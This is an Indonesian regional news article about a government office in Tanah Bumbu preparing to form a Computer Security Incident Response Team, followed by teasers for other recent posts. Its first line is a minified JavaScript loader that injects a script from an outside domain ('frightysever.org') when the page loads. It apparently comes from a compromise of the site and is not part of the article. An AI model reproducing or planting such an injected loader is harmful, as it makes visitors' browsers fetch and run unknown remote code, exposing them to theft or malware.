(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Cegah Kebocoran dan Keamanan Data Informasi, Ini yang Dilakukan Diskominfo Tanbu


KANALKALIMANTAN.COM, BATULICIN – Menyediakan layanan dan dukungan kepada pemerintah daerah untuk mencegah, mengelola dan menangani insiden keamanan informasi, Dinas Komunikasi, Informatika, Statistik dan Persandian Kabupaten Tanah Bumbu menggelar sosialisasi persiapan pembentukan Computer Security Incident Response Team (CSIRT).

Melibatkan dua narasumber dari Badan Siber dan Sandu Negara (BSSN) yakni Diah Sulistyowati dan Aprita Danang Permana.

Sekretaris Diskominfo SP Tanbu, Irwan mengatakan persiapan pembentukan CSIRT, sedang berlangsung sebagai yakni UUD RI Nomor 11 Tahun 2008, tentang informasi dan transaksi elektronik.

Tujuan penyelenggaraan sosialisasi CSIRT, sebagai teknis persandian bagi pengelolaaan data dan informasi pada seluruh SKPD (Satuan Kerja Perangkat Daerah) maupun instansi terkait di Kabupaten Tanah Bumbu, dalam patokan melaksanakan tata kelola keamanan informasi sektor Pemerintahan Kabupaten Tanah Bumbu.

 

 

Baca juga: Harga BBM Naik, Uang Pensiun Seumur Hidup Anggota Dewan Bebani APBN!

Ini penting dilangsungkan, dalam upaya menjalankan tugas umum pemerintahan, maupun adanya sebuah perubahan di lingkungan strategi persandian dan perkembangan ilmu pengetahuan serta teknologi pada instansi pemerintah yang ditangani Diskominfo SP Tanbu sejak tahun 2017.

“Dalam urusan persandian kita terus berbenah dan saat ini sedang mulai berkonsentrasi penuh, pada peningkatan pengetahuan dan kemanpuan SDM dalam persandian di daerah,” ujar Irwan.

Dinas Komunikasi, Informatika, Statistik dan Persandian Kabupaten Tanah Bumbu menggelar sosialisasi persiapan pembentukan Computer Security Incident Response Team (CSIRT). foto: ist

Keutamaan dalam pengamanan informasi didasari atas beberapa potensi ancaman berupa interupsi, intersepsi, modifikasi dan publikasi.

Maka persandian dimaksud untuk terciptanya anti penyangkalan informasi, menjaga atensi informasi, memenuhi ketersediaan informasi, menjaga keutuhan dan kerahasiaan informasi pelayanan publik, yang didukung oleh kegiatan komunikasi persandian akan mampu menghasilkan data autentik utuh dan terbebas dari ancaman kebocoran atau kerusakan informasi.(Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Risa

Recent Posts

Srikandi PLN UPT Palangkaraya Mengajar di SDN 5 Bukit Tunggal

KANALKALIMANTAN.COM, PALANGKARAYA – PT PLN (Persero) Unit Pelaksana Transmisi (UPT) Palangkaraya melalui gugus tugas Srikandi… Read More

2 jam ago

Pemkab HSU Gelar Peringatan Harkitnas

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan memimpin upacara peringatan… Read More

2 jam ago

‘Memakan’ Jalan, Lapak Pedagang Pasar Lama Diminta Mundur

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah pedagang yang berjualan di Pasar Lama Banjarmasin tepatnya di Jalan Pasar… Read More

2 jam ago

Komisi III Banjarbaru Minta Masterplan Mitigasi Banjir Disempurnakan

KANALKALIMANTAN.COM, BANJARBARU - Masterplan penanganan banjir di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) Banjarbaru, masih… Read More

3 jam ago

Pemkab Banjar Peringati Harkitnas dan HUT ke-75 Proklamasi Gubernur Tentara ALRI Divisi IV Pertahanan Kalimantan

KANALKALIMANTAN.COM, MARTAPURA - Halaman Kantor Bupati Banjar menjadi lokasi dilaksanakannya peringatan ke-116 Hari Kebangkitan Nasional… Read More

5 jam ago

Dirut PLN Tinjau Posko Utama Kelistrikan KTT WWF, Pastikan Sistem Kelistrikan di Bali Andal

KANALKALIMANTAN.COM, DENPASAR - Direktur Utama PT PLN (Persero) Darmawan Prasodjo meninjau langsung Posko Utama Kelistrikan… Read More

6 jam ago

This website uses cookies.